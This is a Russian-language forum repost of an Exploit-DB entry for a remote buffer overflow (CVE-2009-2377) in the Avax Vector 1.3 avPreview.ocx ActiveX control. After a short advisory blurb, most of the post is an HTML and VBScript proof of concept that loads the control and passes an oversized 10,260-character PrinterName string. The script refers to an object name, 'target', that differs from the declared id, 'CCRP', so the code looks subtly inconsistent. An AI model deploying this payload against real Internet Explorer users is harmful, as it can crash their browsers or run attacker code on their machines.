Exploit Avax Vector 1.3 - 'avPreview.ocx' ActiveX Control Buffer Overflow

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
33066
Проверка EDB
  1. Пройдено
Автор
SATAN_HACKERS
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2009-2377
Дата публикации
2009-06-06
HTML:
source: https://www.securityfocus.com/bid/35583/info

Avax Vector is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of an application that uses the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

Avax Vector ActiveX 1.3 is vulnerable; other versions may also be affected. 

<html>
<object classid='clsid:9589AEC9-1C2D-4428-B7E8-63B39D356F9C' id='CCRP' ></object>
<script language='vbscript'>

argCount   = 1

arg1=String(10260, "A")

target.PrinterName = arg1

</script>

<script language='javascript'>
 document.location.reload()
</script>
 
Источник
www.exploit-db.com